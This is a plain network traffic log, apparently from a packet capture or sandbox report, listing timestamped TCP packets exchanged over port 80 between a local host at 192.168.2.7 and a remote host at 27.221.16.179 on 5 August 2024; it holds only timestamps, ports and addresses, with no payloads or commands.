Aug 5, 2024 12:01:51.343734026 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343748093 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343763113 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.343832016 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343843937 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343854904 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343854904 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.343868017 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343880892 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343910933 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.343945026 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.343955040 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.343967915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344011068 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344012022 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344023943 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344063044 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344171047 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344185114 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344196081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344208956 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344223022 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344239950 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344240904 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344275951 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344331026 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344343901 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344357967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344412088 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344475985 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344495058 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344526052 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344542027 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344553947 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344566107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344600916 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344602108 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344707966 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344813108 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344826937 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344837904 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344851017 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344856977 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344867945 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344871044 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344883919 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344891071 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344897985 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.344913960 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.344932079 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345194101 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345205069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345237017 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345355988 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345369101 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345381021 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345392942 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345406055 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345415115 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345417023 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345429897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345434904 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345443010 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345455885 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345458031 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345468044 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345474958 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345479965 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345494032 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345503092 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345520973 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345855951 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345911026 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.345940113 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345952034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.345993996 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346101999 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346115112 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346126080 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346138000 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346151114 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346154928 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346163034 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346180916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346190929 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346194029 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346206903 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346211910 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346235037 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346630096 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346642971 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346653938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346666098 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346678972 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346679926 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346690893 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346703053 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346703053 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346714973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346725941 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346728086 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346743107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346755981 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346765995 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346766949 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346777916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346786976 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346791983 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.346807957 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.346854925 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347192049 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347203970 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347215891 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347246885 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347279072 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347361088 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347374916 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347384930 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347397089 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347419024 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347430944 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347434044 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347443104 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347451925 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347455978 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347469091 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347481012 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347492933 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347492933 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347506046 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347513914 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347517967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347531080 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347531080 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347543001 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347557068 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.347558975 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347579002 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.347599030 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.348134995 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.348146915 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.348165035 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.348213911 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.632641077 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.632673025 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.632684946 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.632730007 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.632762909 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.632777929 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.632813931 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633073092 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633116007 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633121967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633133888 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633210897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633213997 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633224010 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633264065 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633333921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633344889 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633357048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633373022 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633387089 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633388042 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633413076 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633480072 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633492947 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633522987 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633542061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633557081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633605957 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633673906 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633686066 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633697033 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633708000 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633718967 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633718967 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633738995 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633769035 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633824110 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633835077 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633887053 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633927107 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633939028 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633956909 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633969069 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633980036 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.633986950 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.633991003 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634001970 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634011030 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634012938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634037018 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634084940 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634218931 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634287119 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634296894 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634335041 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634402037 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634413004 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634423971 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634434938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634458065 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634486914 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634560108 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634572029 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634582043 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634593964 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634607077 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634629965 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634632111 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634641886 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634651899 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634661913 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634673119 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634689093 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634727001 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.634926081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634937048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634952068 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.634978056 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635006905 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635016918 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635027885 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635056973 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635117054 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635205030 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635215998 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635226011 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635236979 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635246038 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635261059 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635288954 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635288954 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635325909 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635334015 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635483980 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635488987 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635499954 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635514975 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635524988 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635529041 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635539055 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635550022 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635550976 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635560989 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635567904 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635571957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635586977 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635627985 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635787964 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635797024 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635834932 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635869980 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635880947 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635889053 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635900021 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635910988 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.635929108 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.635960102 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636068106 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636077881 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636087894 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636099100 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636109114 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636110067 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636120081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636131048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636133909 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636152029 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636178970 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636370897 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636380911 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636399031 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636406898 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636409044 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636410952 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636413097 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636441946 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636452913 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636467934 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636475086 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636477947 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636493921 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636506081 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636518002 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636528969 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636528969 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636531115 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636543989 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636554003 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636569023 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.636946917 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636957884 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636969090 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636976957 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.636986971 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.637016058 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.972435951 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.972465038 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.972552061 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.972557068 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.972563982 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.972604036 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.972636938 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.973064899 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973248005 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973294973 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973325968 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.973442078 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973478079 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973486900 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973505974 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.973599911 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973609924 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973618984 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.973710060 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.973725080 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973736048 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973826885 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.973929882 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973943949 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973953962 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973972082 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973982096 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.973984003 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.973994017 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974005938 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974019051 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974025011 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974044085 CEST	49906	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:51.974078894 CEST	80	49906	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:51.974088907 CEST	80	49906	27.221.16.179	192.168.2.7
